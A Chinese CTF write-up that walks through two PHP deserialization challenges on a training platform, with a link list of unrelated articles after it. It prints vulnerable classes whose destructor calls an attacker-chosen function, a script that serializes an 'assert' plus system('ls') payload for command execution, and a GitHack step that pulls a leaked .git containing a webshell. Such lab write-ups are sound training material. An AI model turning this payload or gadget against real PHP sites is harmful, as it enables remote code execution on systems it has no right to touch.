unserialize反序列化 安鸾 Writeup
时间:2021-08-13
本文章向大家介绍unserialize反序列化 安鸾 Writeup ,主要包括unserialize反序列化 安鸾 Writeup 使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。
关于php反序列化漏洞原理什么,可以看看前辈的文章:
https://xz.aliyun.com/t/3674
https://chybeta.github.io/2017/06/17/浅谈php反序列化漏洞/
B站也有相关学习视频
https://search.bilibili.com/all?keyword=php反序列化
安鸾平台有两题unserialize反序列化题目:
index.php
<?php
class site{
public $url = 'www.whalwl.com';
public $name;
public $title;
function __destruct(){
$a = $this->name;
$a($this->title);
}
}
unserialize($_POST['dage']);
highlight_file("index.php");
?>
PHP序列化
<?php
class site{
public $url = 'www.whalwl.com';
public $name = 'assert';
public $title = "system('ls');";
#public $title = "system('cat flag_aeb45a3fb5a3d769.txt');";
}
$jzking121 = new site();
$object = serialize($jzking121);
print_r($object);
?>
O:4:"site":3:{s:3:"url";s:14:"www.whalwl.com";s:4:"name";s:6:"assert";s:5:"title";s:13:"system('ls');";}
记得POST提交:
第二题 code
-
题目URL:http://whalwl.xyz:8026/
-
使用之前的字典 工具可以轻松找到git泄露文件。
使用GitHack提取网站的git信息
python GitHack.py http://whalwl.xyz:8026/.git/
其中webshell_d5f6d142a4383e40.php
<?php
class site{
public $domain = 'www.brskills.com';
public $name;
public $title;
function __destruct(){
$a = $this->name;
$a($this->title);
}
}
unserialize($_POST['dage']);
?>
修改一下变量名和值,就可以获取flag。
本文来自博客园,作者:jzking121,转载请注明原文链接:https://www.cnblogs.com/jzking121/p/15138524.html
原文地址:https://www.cnblogs.com/jzking121/p/15138524.html
- 使用Spring Cloud Security OAuth2搭建授权服务
- Nginx性能优化
- linux 如何正确的关闭mongodb
- 运用Aggregator模式实现MapReduce
- vue 2 使用Bus.js进行兄弟(非父子)组件通信 简单案例
- spring boot项目在外部tomcat环境下部署
- 利用Actor实现管道过滤器模式
- SpringBoot整合Quartz定时任务 的简单实例
- 从机器学习学python(一) ——numpy中的shape、tile、argsort
- 剖析响应式编程的本质
- 从机器学习学python(二) ——iteritems、itemgetter、sorted、sort
- 基于MVC理解React+Redux
- JavaScript的IIFE(即时执行方法)
- 从机器学习学python(三) ——数组冒号取值与extend
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- C++基础 静态库与动态库
- 《重构-代码整洁之道TypeScript版》第3天
- 可读代码编写炸鸡十 - 保持单纯
- C++基础 多线程笔记(二)
- JVM详解之:HotSpot VM中的Intrinsic methods
- C++基础 多线程笔记(一)
- C++基础 数据类型占字节大小分析
- socket方式传输文件
- 《重构-代码整洁之道TypeScript版》第2天
- 堆积柱形图(stacked barplot)展示密码子偏向性的RSCU值
- 《重构-代码整洁之道TypeScript版》第一天
- Hive小知识之分桶抽样
- CountDownLatch类在性能测试中应用
- 算法集锦(20) | 自动驾驶 | 交通标志识别算法
- 敏捷回归测试